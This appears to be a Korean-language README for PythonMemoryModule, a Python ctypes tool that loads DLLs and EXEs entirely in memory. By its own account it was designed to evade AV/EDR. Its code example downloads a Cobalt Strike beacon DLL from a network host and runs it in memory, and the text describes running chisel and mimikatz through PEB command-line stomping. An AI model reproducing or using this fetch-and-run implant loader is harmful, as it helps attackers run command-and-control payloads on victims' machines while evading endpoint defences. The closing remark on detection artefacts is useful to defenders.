
dll 및 비관리 exe를 완전히 메모리에서 로드하는 MemoryModule 기술의 순수 파이썬 구현
MemoryModule 기술의 순수 Python 구현으로, dll 또는 관리되지 않는 exe를 메모리에서 완전히 로드
"Python memory module" AI 생성 이미지 - hotpot.ai
PythonMemoryModule은 원래 Joachim Bauch가 발표한 MemoryModule 기술을 Python ctypes로 포팅한 것입니다. 외부 라이브러리(pyd)를 사용하지 않고 Python을 통해 dll 또는 관리되지 않는 exe를 로드할 수 있으며, 명령줄 매개변수 전달을 (부분적으로) 지원합니다.
PE 헤더를 구문 분석하기 위해 pefile을, 프로세스 매개변수에 접근하기 위해 PythonForWindows를, 그리고 무거운 작업을 위해 ctypes를 활용합니다. 이 도구는 원래 Pyramid 모듈로 사용되어 python.exe에서 dll/exe 페이로드를 메모리에서 완전히 로드하여 AV/EDR을 회피할 목적으로 설계되었습니다. 그러나 다른 용도(IP 보호, pyd 메모리 내 로드, 더 은밀한 기술의 파생)도 가능하므로 전용 저장소를 만들기로 결정했습니다.
다음 예제에서는 Cobalt Strike 무상태(stageless) 비콘 DLL을 다운로드(디스크에 저장하지 않음)하고, 메모리에 로드한 후 엔트리포인트를 호출하여 시작합니다.
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()
참고: malleable 프로파일에서 스테이징을 사용하는 경우 dll이 LoadLibrary로 로드되지 않으므로 MemoryModule이 작동하지 않습니다.

다음 예제에서는 명령줄 전달 기능을 사용하여 chisel을 메모리에서 실행합니다.
https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7
이 기술은 런타임에 PEB의 Commandline 매개변수를 스톰핑(덮어쓰기)하여 구현됩니다. 이는 인수 전달에 사용되는 함수에 따라 모든 실행 파일에서 작동하지 않습니다.
일반적으로 보편적으로 작동하는 기술을 얻으려면 PEB 스톰핑이 모든 경우를 다루지 않기 때문에 GetCommandlineA, GetCommandlineW, __getmainargs, __wgetmainargs를 후킹해야 합니다. 자세한 내용은 여기를 참조하세요.
테스트 결과, mimikatz와 여러 Go 바이너리는 PEB 스톰핑만으로도 잘 작동하는 반면, mingw 및 VS로 컴파일된 바이너리의 경우 PEB 스톰핑만으로는 명령줄 전달이 작동하지 않을 가능성이 높습니다.
MemoryModule 기술을 사용하면 대상 DLL의 섹션 권한이 대부분 존중되고 시끄러운 RWX 접근 방식이 피해집니다. 그러나 프로그램 메모리 내에는 디스크의 DLL에 의해 백업되지 않은 개인 커밋(private commit)이 존재하며, 이것이 MemoryModule의 특징적인 징후입니다.